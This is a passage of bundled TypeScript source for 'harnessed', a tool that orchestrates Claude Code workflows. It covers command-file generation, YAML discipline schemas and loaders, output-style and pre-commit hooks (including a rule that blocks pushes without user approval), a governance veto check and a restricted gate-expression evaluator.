``,\n  ].join('\\n')\n}\n\n/** EXECUTION body (v4.0) — single sub: prompt → native spawn → clarify → checkpoint. */\nfunction buildExecutionBody(name: string, prompt: RolePrompt): string {\n  return [\n    `# /${name}`,\n    ``,\n    prompt.description,\n    ``,\n    LANG_DIRECTIVE,\n    ``,\n    `## How to run (execution — native subagent spawn)`,\n    ``,\n    `harnessed gives you the spawn-ready prompt; YOU spawn the subagent with a CC-native Task / Agent tool (keeps the session responsive + lets clarification round-trips reach the user).`,\n    ``,\n    ...spawnLoopSteps('').map((s) =>\n      s.replace('<sub>', name).replace('--task \"<spec>\"', '--task \"$ARGUMENTS\"'),\n    ),\n    ``,\n    `Do NOT pipe to \\`harnessed run ${name}\\` — that is the CI/headless path (SDK spawn).`,\n    ``,\n    `## Notes`,\n    ``,\n    `- Generated by \\`harnessed setup\\`. Re-run after a harnessed upgrade to refresh.`,\n    `- The sister \\`~/.claude/skills/${name}/SKILL.md\\` is the Skill-tool entry point (Claude loads it when triggers match). gate/discipline SoT: \\`workflows/${nameToYamlHintPath(name)}\\`.`,\n    ``,\n    MARKER,\n    ``,\n  ].join('\\n')\n}\n\n/**\n * Build `~/.claude/commands/<name>.md` content for a single workflow.\n *\n * v4.0 — harnessed = orchestration brain + prompt library. Three body types:\n *   INTERACTIVE (discuss family + task-clarify): main-session dialogue, never spawn\n *   ORCHESTRATOR (auto / plan / task / verify): `harnessed gates` → CC-native\n *     subagent spawns per fired sub (or Agent Teams escalation) with prompts\n *     from `harnessed prompt`, ralph-loop completion, NEEDS_CLARIFICATION round-trip\n *   EXECUTION (everything else): single sub — `harnessed prompt` → native spawn\n *\n * The CC main session is the executor; harnessed CLIs are秒级 advisors (gates /\n * prompt / checkpoint). Replaces v3.x `harnessed run` SDK-spawn (which blocked\n * the session, bypassed Agent Teams, broke clarification round-trips).\n *\n * The 5-arg signature is preserved for back-compat; no `{{ capabilities }}`\n * placeholders are rendered (warnings always empty).\n */\nexport function generateCommandFile(\n  name: string,\n  prompt: RolePrompt,\n  _capabilities: CapabilityMap,\n  _installedPlugins: Set<string>,\n  _installedUserSkills: Set<string>,\n): { content: string; warnings: string[] } {\n  const isMaster = prompt.is_master === true\n  const argHint = isMaster ? '[task description]' : '[requirement text or omit]'\n\n  let body: string\n  if (INTERACTIVE_COMMANDS.has(name)) {\n    body = buildInteractiveBody(name, prompt)\n  } else if (ORCHESTRATOR_COMMANDS.has(name)) {\n    body = buildOrchestratorBody(name, prompt)\n  } else {\n    body = buildExecutionBody(name, prompt)\n  }\n\n  const warnings: string[] = []\n\n  const frontmatter = [\n    '---',\n    `description: ${JSON.stringify(prompt.description)}`,\n    `argument-hint: ${JSON.stringify(argHint)}`,\n    '---',\n    '',\n  ].join('\\n')\n\n  return { content: frontmatter + body, warnings }\n}\n\n/** Returns the relative `workflows/...` path matching the 3-tier\n *  resolveWorkflowYaml lookup in src/cli/run.ts. Used in the Notes section\n *  to hint where the runtime yaml lives. */\nfunction nameToYamlHintPath(name: string): string {\n  if (['auto', 'research', 'retro'].includes(name)) return `${name}/workflow.yaml`\n  if (['discuss', 'plan', 'task', 'verify', 'ship'].includes(name))\n    return `${name}/auto/workflow.yaml`\n  const dashIdx = name.indexOf('-')\n  if (dashIdx > 0) {\n    return `${name.slice(0, dashIdx)}/${name.slice(dashIdx + 1)}/workflow.yaml`\n  }\n  return `${name}/workflow.yaml`\n}\n\n/** v3.4.4 marker — every command file generated by this tool emits this trailing\n *  comment as the last non-blank body line. `harnessed setup` overwrites any file\n *  containing this marker (or the older v3.4.3 dual-path signature) and preserves\n *  files with neither (true user-authored). Pattern is digit-loose so future\n *  v3.4.5+ patches can re-overwrite without losing the property. */\n// v4.1.2 — digit-loose across majors so a future marker bump (e.g. v4.x) stays\n// self-overwriting instead of being misread as user-authored + skipped on upgrade.\nconst HARNESSED_MARKER_RX = /<!--\\s*harnessed-generated:v\\d+\\.\\d+\\.\\d+\\s*-->/\n\n/** Detect the v3.4.3 dual-path body shape — overwrite even though it has no\n *  marker because it shipped before markers existed. Two-signal AND so we don't\n *  false-positive on user files that happen to mention \"SlashCommand\". Matches\n *  the sub-workflow variant (preferred=SlashCommand, fallback=Task spawn). */\nconst V3_4_3_SIGNATURE_SUB_RX =\n  /\\*\\*Preferred path\\*\\*[\\s\\S]*use the SlashCommand tool[\\s\\S]*\\*\\*Fallback path\\*\\*[\\s\\S]*use the Task tool to spawn/\n\n/** Detect the v3.4.3 master/standalone-orchestrator dispatcher variant — bodies\n *  for /auto, /discuss, /plan, /task, /verify, /research used \"dispatch to the\n *  per-sub-workflow slash commands\" instead of \"use the SlashCommand tool\", so\n *  V3_4_3_SIGNATURE_SUB_RX missed them and they were misclassified as\n *  user-authored. This phrase is distinctive enough that **Preferred path**\n *  + the literal sub-workflow dispatch sentence is a safe two-signal AND. */\nconst V3_4_3_SIGNATURE_MASTER_RX = /\\*\\*Preferred path\\*\\*[\\s\\S]*dispatch to the per-sub-workflow/\n\n/** Returns true when the file is harnessed-generated (any version) and may be\n *  safely overwritten by `harnessed setup`. User-authored files (neither marker\n *  nor v3.4.3 signature present) are skipped with a warning. */\nexport function shouldOverwriteFile(content: string): boolean {\n  return (\n    HARNESSED_MARKER_RX.test(content) ||\n    V3_4_3_SIGNATURE_SUB_RX.test(content) ||\n    V3_4_3_SIGNATURE_MASTER_RX.test(content)\n  )\n}\n\n/**\n * Write all sub-workflow commands files to `<commandsDir>`. v3.4.4 marker-based\n * overwrite: a file is overwritten when it carries the harnessed marker OR\n * matches the v3.4.3 dual-path signature; truly user-authored files (with\n * neither) are skipped with a warning. The 9-arg signature stays backwards-\n * compatible because `fileExists` and `readFileSync` have default values —\n * existing 7-arg callers in setup.ts continue to work.\n */\nexport async function writeAllCommands(\n  slashNames: string[],\n  commandsDir: string,\n  rolePrompts: Record<string, RolePrompt>,\n  capabilities: CapabilityMap,\n  installedPlugins: Set<string>,\n  installedUserSkills: Set<string>,\n  writer: (path: string, content: string) => Promise<void>,\n  fileExists: (path: string) => boolean = existsSync,\n  readFileSync: (path: string) => string = (p) => nodeReadFileSync(p, 'utf8'),\n): Promise<{ results: CommandWriteResult[]; warnings: string[] }> {\n  const results: CommandWriteResult[] = []\n  const aggregatedWarnings = new Set<string>()\n\n  for (const name of slashNames) {\n    const path = join(commandsDir, `${name}.md`)\n    const prompt = rolePrompts[name]\n    if (!prompt) {\n      results.push({\n        name,\n        path,\n        written: false,\n        warning: `no role-prompts.yaml entry for '${name}' — skipping commands/${name}.md generation`,\n      })\n      aggregatedWarnings.add(`role-prompts.yaml missing entry for '${name}'`)\n      continue\n    }\n\n    // v3.4.4 — marker-based overwrite. Skip ONLY when file exists AND is\n    // user-authored (neither harnessed marker nor v3.4.3 dual-path signature\n    // present). Harnessed-generated files get re-rendered (in case role-prompts\n    // .yaml changed) — that's the upgrade path from v3.4.3 → v3.4.4.\n    if (fileExists(path)) {\n      let existing = ''\n      try {\n        existing = readFileSync(path)\n      } catch {\n        existing = ''\n      }\n      if (!shouldOverwriteFile(existing)) {\n        results.push({\n          name,\n          path,\n          written: false,\n          warning: `commands/${name}.md is user-authored (no harnessed marker) — leaving unchanged. Delete the file to force regenerate.`,\n        })\n        continue\n      }\n      // Else: harnessed-generated (v3.4.3 or older v3.4.4) → overwrite below.\n    }\n\n    const { content, warnings } = generateCommandFile(\n      name,\n      prompt,\n      capabilities,\n      installedPlugins,\n      installedUserSkills,\n    )\n    try {\n      await writer(path, content)\n      results.push({ name, path, written: true })\n    } catch (e) {\n      results.push({\n        name,\n        path,\n        written: false,\n        warning: `write failed for commands/${name}.md: ${(e as Error).message}`,\n      })\n    }\n    for (const w of warnings) aggregatedWarnings.add(w)\n  }\n\n  return { results, warnings: [...aggregatedWarnings] }\n}\n","// src/workflow/schema/discipline.ts — Phase v3.0-3.3 W0 T3.3.W0.6 (R30.9 + D-09).\n// TypeBox schema for workflows/disciplines/*.yaml (6 file ship v3.0 per D-09 L0 Discipline Substrate).\n// Sister: src/workflow/schema/judgment.ts dual-shape (triggers vs rules) pattern.\n//\n// 6 file covered (per D-09):\n//   base shape (4 file)         karpathy / output-style / language / operational\n//   priority_hierarchy shape    priority.yaml (ordered array of capability tier name)\n//   protocols shape             protocols.yaml (Record<string, ProtocolShape>)\n//\n// 18th surface schema_version: harnessed.discipline.v1 (per T3.3.W0.11 ADD).\n// additionalProperties:false strict per Phase 2.2 STRIDE T-2.2-02 + RESEARCH-disciplines § 1 verbatim.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst EnforcementLayer = Type.Union([\n  Type.Literal('code-writing'), // karpathy 心法 — write code phase\n  Type.Literal('output'), // BLUF / language / no-emoji — emit response phase\n  Type.Literal('commit'), // biome / A7 / commit safety — pre-commit phase\n  Type.Literal('workflow'), // priority hierarchy / protocols — workflow-level arbitration\n  Type.Literal('tool'), // tool invoke discipline (reserved for v3.x extension)\n])\n\nconst Enforcement = Type.Union([\n  Type.Literal('halt'), // process.exit non-zero, sister fallbackHandlers\n  Type.Literal('warn'), // console.warn emit, continue\n  Type.Literal('auto-fix'), // run auto_fix_cmd then continue (biome --write pattern)\n  Type.Literal('info'), // log only, no action\n])\n\nexport const DisciplineRule = Type.Object(\n  {\n    id: Type.String({ minLength: 1 }), // kebab-case\n    description: Type.String(), // human-readable\n    enforcement: Enforcement,\n    trigger: Type.Union([Type.String(), Type.Array(Type.String())]), // expr OR always-on list\n    check_method: Type.String(), // heuristic / regex / external-cmd / llm-judge / file-content-match\n    auto_fix_cmd: Type.Optional(Type.String()), // only enforcement=auto-fix\n  },\n  { additionalProperties: false },\n)\n\n// priority.yaml 专字段 — 7-tier capability hierarchy\nconst PriorityHierarchy = Type.Array(Type.String(), { minItems: 1 })\n\n// protocols.yaml 专字段 — Ideation→Onboarding + Plan→Execute + file-ownership-strict\nconst ProtocolShape = Type.Object(\n  {\n    description: Type.String(),\n    required_fields: Type.Optional(Type.Array(Type.String())),\n    forbidden_phrases: Type.Optional(Type.Array(Type.String())),\n    file_ownership: Type.Optional(Type.Record(Type.String(), Type.Array(Type.String()))),\n    rules: Type.Optional(Type.Array(DisciplineRule)),\n  },\n  { additionalProperties: false },\n)\n\nexport const Discipline = Type.Object(\n  {\n    schema_version: Type.Literal(SCHEMA_VERSIONS.discipline),\n    discipline: Type.String({ minLength: 1 }), // basename (karpathy / output-style / ...)\n    enforcement_layer: EnforcementLayer,\n    auto_enforce: Type.Boolean(),\n    rules: Type.Array(DisciplineRule),\n    priority_hierarchy: Type.Optional(PriorityHierarchy), // priority.yaml only\n    protocols: Type.Optional(Type.Record(Type.String(), ProtocolShape)), // protocols.yaml only\n  },\n  { additionalProperties: false },\n)\n\nexport type DisciplineT = Static<typeof Discipline>\nexport type DisciplineRuleT = Static<typeof DisciplineRule>\nexport type ProtocolShapeT = Static<typeof ProtocolShape>\n","// src/workflow/disciplineLoader.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9 D-09).\n// Sister judgmentResolver.ts pattern: module-level Map<basename, DisciplineT> cache,\n// load + TypeBox validate on first access, subsequent cache hit.\n//\n// Public API:\n//   loadDiscipline(basename, packageRoot): Promise<DisciplineT>\n//   loadAllApplied(disciplines_applied[] | undefined, packageRoot):\n//     Promise<Map<basename, DisciplineT>>  — undefined defaults to all 6\n//   getRule(basename, rule_id): DisciplineRuleT | undefined  (sync, requires prior load)\n//   _clearDisciplineCache(): void (test-only)\n//\n// Hot path: master orchestrator workflow load + 4 hook query path.\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { Discipline, type DisciplineRuleT, type DisciplineT } from './schema/discipline.js'\n\n/** All 7 LOCKED basenames per D-09 (v6.0 adds doc-discipline). */\nexport const DEFAULT_APPLIED: readonly string[] = [\n  'karpathy',\n  'output-style',\n  'language',\n  'operational',\n  'priority',\n  'protocols',\n  'doc-discipline',\n]\n\nconst _cache = new Map<string, DisciplineT>()\n\nexport async function loadDiscipline(basename: string, packageRoot: string): Promise<DisciplineT> {\n  const cached = _cache.get(basename)\n  if (cached) return cached\n  const yamlPath = resolve(packageRoot, 'workflows', 'disciplines', `${basename}.yaml`)\n  const raw = await readFile(yamlPath, 'utf8')\n  const parsedRaw = parseYaml(raw) as unknown\n  if (!Value.Check(Discipline, parsedRaw)) {\n    const errors = [...Value.Errors(Discipline, parsedRaw)]\n      .slice(0, 3)\n      .map((e) => `${e.path} ${e.message}`)\n      .join('; ')\n    throw new Error(`Invalid discipline file ${basename}.yaml: ${errors}`)\n  }\n  const parsed = parsedRaw as DisciplineT\n  _cache.set(basename, parsed)\n  return parsed\n}\n\nexport async function loadAllApplied(\n  disciplines_applied: readonly string[] | undefined,\n  packageRoot: string,\n): Promise<Map<string, DisciplineT>> {\n  const applied =\n    disciplines_applied && disciplines_applied.length > 0 ? disciplines_applied : DEFAULT_APPLIED\n  const out = new Map<string, DisciplineT>()\n  for (const basename of applied) {\n    out.set(basename, await loadDiscipline(basename, packageRoot))\n  }\n  return out\n}\n\nexport function getRule(basename: string, ruleId: string): DisciplineRuleT | undefined {\n  const d = _cache.get(basename)\n  if (!d) return undefined\n  return d.rules.find((r) => r.id === ruleId)\n}\n\n/** Test-only — clears the parsed-yaml cache so cache-hit / cache-miss fixtures\n *  stay independent. Production callers should never touch this. */\nexport function _clearDisciplineCache(): void {\n  _cache.clear()\n}\n","// src/discipline/enforcement/after-output.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9).\n// Hook trigger: response emission 后 (chat target only);validate output-style + language rules.\n//\n// NOTE: v3.0 unit-test only; production response output wire deferred v3.x per K5 + D-09\n// superset commitment (M-3 advisory inline patch). Heuristics here are seed for v3.x\n// production integration with chat response stream.\n\nimport { loadDiscipline } from '../../workflow/disciplineLoader.js'\n\nexport interface OutputHookCtx {\n  responseText: string\n  responseTarget: 'chat' | 'file' | 'commit-message'\n  userRequestedEmoji: boolean\n  packageRoot: string\n}\n\nconst EM_DASH_RE = /——|—/\nconst EMOJI_RE = /\\p{Emoji_Presentation}/u\nconst SYCOPHANTIC_RE = /(好问题|太棒了|完美|希望对你有帮助|还需要别的吗|要不要我帮你)/\nconst END_RECAP_RE = /## 总结|## Summary|综上所述|In summary/\n\n/** Returns warning strings; does NOT exit. Caller emits via console.warn. */\nexport async function runAfterOutputHook(ctx: OutputHookCtx): Promise<string[]> {\n  if (ctx.responseTarget !== 'chat') return []\n  const warns: string[] = []\n  // Eagerly load both styles for cache warm + future fields (no field reads needed today).\n  await Promise.all([\n    loadDiscipline('output-style', ctx.packageRoot),\n    loadDiscipline('language', ctx.packageRoot),\n  ])\n\n  const firstSentence = ctx.responseText.split(/[。.!?\\n]/)[0] ?? ''\n  if (firstSentence.length > 100) warns.push('BLUF missing: first sentence > 100 char')\n\n  if (EM_DASH_RE.test(ctx.responseText)) warns.push('em-dash detected (auto-fix recommended)')\n\n  if (!ctx.userRequestedEmoji && EMOJI_RE.test(ctx.responseText)) {\n    warns.push('emoji used without explicit user request')\n  }\n\n  if (SYCOPHANTIC_RE.test(ctx.responseText)) warns.push('sycophantic phrase detected')\n\n  const lastChunk = ctx.responseText.slice(-200)\n  if (END_RECAP_RE.test(lastChunk)) warns.push('redundant end recap detected')\n\n  for (const w of warns) console.warn(`⚠️ output-style: ${w}`)\n  return warns\n}\n","// src/discipline/enforcement/before-commit.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9).\n// Hook trigger: git commit / push cmd dispatch 前;ralph-loop / subagent / 主 session 全走此 hook.\n// Reads operational.yaml rule[id=biome-preempt + no-push-without-approval + no-skip-hooks]\n// → enforce halt OR auto-fix per yaml enforcement field.\n//\n// Sister src/routing/lib/fallbackHandlers.ts ≤80L split pattern.\n\nimport { execSync } from 'node:child_process'\nimport { readFileSync } from 'node:fs'\nimport { resolve } from 'node:path'\nimport { loadDiscipline } from '../../workflow/disciplineLoader.js'\n\nexport interface CommitHookCtx {\n  changedFiles: readonly string[]\n  cmdArgs: readonly string[]\n  packageRoot: string\n  cmdType: 'git-commit' | 'git-push'\n  /** Whether user has explicitly approved the operation (push gate). */\n  hasUserApproval: boolean\n}\n\nconst TS_JS_RE = /\\.(ts|tsx|js|mjs)$/\n\nexport async function runBeforeCommitHook(ctx: CommitHookCtx): Promise<void> {\n  const d = await loadDiscipline('operational', ctx.packageRoot)\n\n  // Rule: biome-preempt — auto-fix if TS/JS files in commit\n  if (ctx.cmdType === 'git-commit' && ctx.changedFiles.some((f) => TS_JS_RE.test(f))) {\n    const rule = d.rules.find((r) => r.id === 'biome-preempt')\n    if (rule?.auto_fix_cmd) {\n      console.warn('⚠️ biome preempt — running auto-fix before commit')\n      execSync(rule.auto_fix_cmd, { cwd: ctx.packageRoot, stdio: 'inherit' })\n    }\n  }\n\n  // Rule: no-skip-hooks — halt if --no-verify present (no user override at hook level\n  // — D-09 LOCKED, only main session bypass via user explicit cmd line invoke)\n  if (ctx.cmdArgs.includes('--no-verify')) {\n    console.error('❌ no-skip-hooks violated: --no-verify forbidden')\n    process.exit(2)\n  }\n\n  // Rule: no-push-without-approval — halt if push + no approval\n  if (ctx.cmdType === 'git-push' && !ctx.hasUserApproval) {\n    console.error('❌ no-push-without-approval: user explicit approval required')\n    process.exit(2)\n  }\n\n  // doc-discipline: state-digest-line-limit — halt if STATE.md exceeds 100-line digest limit.\n  // Lazy-load: only load the doc-discipline yaml when STATE.md is in the commit (avoids\n  // loading on non-doc commits). Basename 'doc-discipline' → workflows/disciplines/doc-discipline.yaml.\n  if (ctx.changedFiles.some((f) => f.includes('.planning/STATE.md'))) {\n    const docD = await loadDiscipline('doc-discipline', ctx.packageRoot)\n    const rule = docD.rules.find((r) => r.id === 'state-digest-line-limit')\n    if (rule?.enforcement === 'halt') {\n      if (process.env.HARNESSED_ALLOW_LONG_STATE) {\n        console.warn(\n          '⚠️ doc-discipline: state-digest-line-limit override active (HARNESSED_ALLOW_LONG_STATE)',\n        )\n      } else {\n        const content = readFileSync(resolve(ctx.packageRoot, '.planning/STATE.md'), 'utf8')\n        const lines = content.split(/\\r?\\n/)\n        const lineCount = lines[lines.length - 1] === '' ? lines.length - 1 : lines.length\n        if (lineCount > 100) {\n          console.error(\n            `❌ doc-discipline: STATE.md exceeds 100-line digest limit (current: ${lineCount} lines). Set HARNESSED_ALLOW_LONG_STATE=1 to override.`,\n          )\n          process.exit(2)\n        }\n      }\n    }\n  }\n}\n","// src/discipline/enforcement/before-phase-execute.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9).\n// Hook trigger: workflow engine pre-phase (sister run.ts L74 for-loop start).\n//\n// Wedge entry point — load disciplines_applied[] from workflow.yaml (default all 6)\n// into a Map<basename, DisciplineT> for downstream phase context + hook queries.\n// Per RESEARCH-disciplines § 3.2.4 verbatim (DEFAULT_APPLIED 全 6 basename).\n\nimport { loadAllApplied } from '../../workflow/disciplineLoader.js'\nimport type { DisciplineT } from '../../workflow/schema/discipline.js'\n\nexport async function loadDisciplinesForPhase(\n  disciplines_applied: readonly string[] | undefined,\n  packageRoot: string,\n): Promise<Map<string, DisciplineT>> {\n  return loadAllApplied(disciplines_applied, packageRoot)\n}\n","// src/discipline/enforcement/before-spawn.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9 priority.yaml).\n// Hook trigger: master orchestrator 收到 ≥2 capability fired 时 arbitrate.\n//\n// Sorts the fired capability list by `priority_hierarchy` rank loaded from\n// disciplines/priority.yaml. Unknown tier names sort to the end (LOWEST priority,\n// MAX_SAFE_INTEGER rank — conservative degrade per RESEARCH-disciplines § 3.2.3).\n\nimport { loadDiscipline } from '../../workflow/disciplineLoader.js'\n\nexport interface FiredCapability {\n  name: string\n  /** Tier identifier — one of priority.yaml priority_hierarchy entries\n   *  (gstack / gsd / superpowers / planning-with-files / karpathy / mattpocock / parallel). */\n  tier: string\n}\n\nexport async function arbitrateBeforeSpawn(\n  fired: FiredCapability[],\n  packageRoot: string,\n): Promise<FiredCapability[]> {\n  if (fired.length <= 1) return fired\n  const d = await loadDiscipline('priority', packageRoot)\n  const hierarchy = d.priority_hierarchy ?? []\n  const rank = (tier: string): number => {\n    const i = hierarchy.indexOf(tier)\n    return i === -1 ? Number.MAX_SAFE_INTEGER : i\n  }\n  return [...fired].sort((a, b) => rank(a.tier) - rank(b.tier))\n}\n","// src/workflow/schema/governance.ts — Phase 3.2 W1 T1.3 (D-04 PUSH 10th surface).\n// Sister Phase 3.1 W1 T1.2 (checkpoint.v1.ts TypeBox Union shape direct analog).\n// gstack writes .harnessed/governance.json (NOT harnessed scope per D-04);\n// harnessed reads lazy-once per workflow phase boundary (NOT polling — sister\n// Phase 2.4 SSE polling anti-pattern lesson). Threat mitigation (RESEARCH §\n// 11.4): maxLength caps prevent DOS; fixed path prevents traversal; TypeBox\n// strict prevents schema drift (graceful null via branchOnSchemaVersion CD-5).\n// Path divergence from PATTERNS § 2.4 in W0.3-schema-decision.md (colocation).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\n/** 2-state governance status (D-04 PUSH lock). gstack writes 'vetoed' to halt\n *  harnessed workflow execution at next phase boundary. */\nexport const GovernanceStatus = Type.Union([Type.Literal('active'), Type.Literal('vetoed')])\n\nexport const GovernanceV1 = Type.Object(\n  {\n    schemaVersion: Type.Literal(SCHEMA_VERSIONS.governance), // 'harnessed.governance.v1'\n    status: GovernanceStatus,\n    reason: Type.Optional(Type.String({ maxLength: 500 })), // DOS cap per RESEARCH § 11.4\n    // ISO-8601 date-time regex (Phase 3.2 W2 Rule 1 fix — TypeBox `format: 'date-time'`\n    // requires FormatRegistry.Set which is not registered project-wide; using\n    // `pattern` is zero-config equivalent. Sister checkpoint.v1 uses ISO pattern too.).\n    vetoed_at: Type.Optional(\n      Type.String({\n        pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}T\\\\d{2}:\\\\d{2}:\\\\d{2}(\\\\.\\\\d+)?(Z|[+-]\\\\d{2}:\\\\d{2})$',\n      }),\n    ),\n    vetoed_by: Type.Optional(Type.String({ maxLength: 100 })), // e.g. 'CEO' (gstack role)\n  },\n  { additionalProperties: false },\n)\n\nexport type GovernanceV1Type = Static<typeof GovernanceV1>\n","// src/workflow/governance.ts — Phase 3.2 W1 T1.7 (D-04 PUSH LOCKED).\n// Sister src/checkpoint/state.ts L23-41 readCurrentWorkflow fail-soft pattern\n// (direct analog). gstack writes <harnessed-root>/governance.json (NOT in\n// harnessed scope per D-04); harnessed reads lazy-once per workflow phase\n// boundary (NOT polling per Phase 2.4 SSE anti-pattern lesson + D-04 guard).\n// v3.0.3 — GOV_PATH routed through harnessedRoot SoT (homedir-rooted).\n\nimport { readFile } from 'node:fs/promises'\nimport { Value } from '@sinclair/typebox/value'\nimport { harnessedFile } from '../installers/lib/harnessedRoot.js'\nimport { branchOnSchemaVersion } from '../types/schemaVersion.js'\nimport { GovernanceV1, type GovernanceV1Type } from './schema/governance.js'\n\nfunction govPath(): string {\n  return harnessedFile('governance.json')\n}\n\n/** Read <harnessed-root>/governance.json with fail-soft null on missing/corrupt/drift.\n *  Sister state.ts:23-41. Missing file = active (no veto) by design — D-04 PUSH\n *  default is active unless gstack explicitly writes vetoed state. */\nexport async function readGovernance(): Promise<GovernanceV1Type | null> {\n  let raw: string\n  try {\n    raw = await readFile(govPath(), 'utf8')\n  } catch {\n    return null\n  }\n  let parsed: unknown\n  try {\n    parsed = JSON.parse(raw)\n  } catch {\n    return null\n  }\n  const v = (parsed as { schemaVersion?: string }).schemaVersion ?? ''\n  return branchOnSchemaVersion(v, {\n    v1: () => (Value.Check(GovernanceV1, parsed) ? (parsed as GovernanceV1Type) : null),\n    unknown: () => null,\n  })\n}\n\n/** Lazy check whether workflow execution should halt due to gstack veto.\n *  Called from runWorkflow BEFORE each phase transition (NOT polling timer). */\nexport async function isVetoed(): Promise<boolean> {\n  return (await readGovernance())?.status === 'vetoed'\n}\n","// Phase v2.0-2.3 W0 T2.3.W0.3 (D-03 + R20.3 + RESEARCH § 1.3) — expr-eval gate\n// evaluator with locked-down operators (Phase 2.2 STRIDE T-2.2-02 yaml-injection\n// mitigation: disable add/subtract/multiply/divide/assignment; keep only\n// logical/comparison/in). Module-level Parser singleton per PLAN-ENG-REVIEW\n// § 4 LOW perf recommendation (avoid hot-path Parser rebuild).\n\nimport { Parser, type Values } from 'expr-eval'\n\nconst PARSER_OPTIONS = {\n  operators: {\n    add: false,\n    subtract: false,\n    multiply: false,\n    divide: false,\n    logical: true,\n    comparison: true,\n    in: true,\n    assignment: false,\n  },\n} as const\n\n// Module-level singleton — re-used across all evalGate calls. Test-only export\n// for identity assertion (acceptance criterion e).\nconst _parserSingleton = new Parser(PARSER_OPTIONS)\n\nexport class GateEvalError extends Error {\n  constructor(\n    message: string,\n    public readonly expression: string,\n  ) {\n    super(message)\n    this.name = 'GateEvalError'\n  }\n}\n\nexport function evalGate(expression: string, context: Record<string, unknown>): boolean {\n  try {\n    const parsed = _parserSingleton.parse(expression)\n    // expr-eval `Values` interface accepts boolean at runtime even though the\n    // declared `Value` union only lists number/string/function/nested-record —\n    // 10 W0.3 fixture verify boolean propagation works. Cast preserves runtime\n    // contract without forcing all callers to narrow their context types.\n    const result = parsed.evaluate(context as unknown as Values)\n    if (typeof result !== 'boolean') {\n      throw new GateEvalError(\n        `Expression must evaluate to boolean, got ${typeof result}`,\n        expression,\n      )\n    }\n    return result\n  } catch (err) {\n    if (err instanceof GateEvalError) throw err\n    throw new GateEvalError(`Gate eval failed: ${(err as Error).message}`, expression)\n  }\n}\n\nexport { _parserSingleton }\n","// src/workflow/schema/judgment.ts — Phase v2.0-2.3 W0 T2.3.W0.6 (R20.4).\n// TypeBox schema for workflows/judgments/*.yaml (W0.2 shipped 6 file, 158L).\n// Sister W0.2 5 file root key `triggers` + 1 fallback file root key `rules`.\n//\n// 6 file 覆盖 (per D-16 multi-file 分类):\n//   triggers root key (5 file):\n//     - strategic-gate.yaml   (office-hours / plan-ceo-review)\n//     - phase-gate.yaml       (gsd-discuss-phase)\n//     - subtask-gate.yaml     (brainstorming)\n//     - parallelism-gate.yaml (subagent-default / agent-teams-upgrade / main-session-fallback / ralph-loop-wrapper)\n//     - tdd-gate.yaml         (tdd-strongly-suggested)\n//   rules root key (1 file):\n//     - fallback.yaml         (uncertain-skip-transparently / user-explicit-override / chain-isolation)\n//\n// 14th surface schema_version: harnessed.judgment.v1 (sister schemaVersion.ts).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst TriggerInvocation = Type.Object(\n  {\n    capability: Type.String(),\n  },\n  { additionalProperties: false },\n)\n\nconst RequiresCapabilities = Type.Object(\n  {\n    capabilities: Type.Array(Type.String()),\n  },\n  { additionalProperties: false },\n)\n\n// Triggers-style entry — 5 file 通用 shape.\n// `wraps` 仅 parallelism-gate.yaml ralph-loop-wrapper 用 (orthogonal wrapper per R20.10).\nexport const JudgmentTrigger = Type.Object(\n  {\n    description: Type.Optional(Type.String()),\n    fires_when: Type.Optional(Type.String()),\n    skips_when: Type.Optional(Type.String()),\n    invokes: Type.Optional(Type.Array(TriggerInvocation)),\n    requires: Type.Optional(RequiresCapabilities),\n    wraps: Type.Optional(Type.Array(Type.String())),\n  },\n  { additionalProperties: false },\n)\n\n// Fallback rule entry — 仅 fallback.yaml 用 (3 rule per CLAUDE.md \"Fallback 三条铁律\").\nexport const FallbackRule = Type.Object(\n  {\n    description: Type.Optional(Type.String()),\n    fallback_action: Type.Optional(Type.String()),\n    message_template: Type.Optional(Type.String()),\n    override_signal: Type.Optional(Type.Array(Type.String())),\n    chain_isolation: Type.Optional(Type.Boolean()),\n  },\n  { additionalProperties: false },\n)\n\n// Triggers-style file (strategic / phase / subtask / parallelism / tdd).\nexport const JudgmentTriggersFile = Type.Object(\n  {\n    schema_version: Type.Literal(SCHEMA_VERSIONS.judgment),\n    triggers: Type.Record(Type.String(), JudgmentTrigger),\n  },\n  { additionalProperties: false },\n)\n\n// Rules-style file (fallback only).\nexport const JudgmentRulesFile = Type.Object(\n  {\n    schema_version: Type.Literal(SCHEMA_VERSIONS.judgment),\n    rules: Type.Record(Type.String(), FallbackRule),\n  },\n  { additionalProperties: false },\n)\n\n// Discriminated union — resolver consumes either shape.\nexport const JudgmentFile = Type.Union([JudgmentTriggersFile, JudgmentRulesFile])\n\n// v3.6.0 Phase 3 — user-overrides.yaml schema (P0b 上半, R20.4 sister extension).\n// Separate top-level shape (NOT in JudgmentFile union — additive only per Phase 3\n// 灰区 #1-3 protocol + Risk 3 mitigation). Consumed by\n// src/cli/lib/extract-user-overrides.ts (Wave 2). schema_version literal\n// `harnessed.user-overrides.v1` (15th surface; NOT yet wired into\n// types/schemaVersion.ts SCHEMA_VERSIONS — single-file consumer per Phase 3).\nconst UserOverrideEntry = Type.Object(\n  {\n    id: Type.String({ minLength: 1 }), // kebab-case (e.g. 'brainstorm', 'arch-review')\n    keywords: Type.Array(Type.String({ minLength: 1 }), { minItems: 1 }),\n    triggers: Type.Array(Type.String({ minLength: 1 }), { minItems: 1 }),\n  },\n  { additionalProperties: false },\n)\n\nexport const UserOverridesFile = Type.Object(\n  {\n    schema_version: Type.Literal('harnessed.user-overrides.v1'),\n    overrides: Type.Array(UserOverrideEntry, { minItems: 1 }),\n  },\n  { additionalProperties: false },\n)\n\nexport type JudgmentTriggerT = Static<typeof JudgmentTrigger>\nexport type FallbackRuleT = Static<typeof 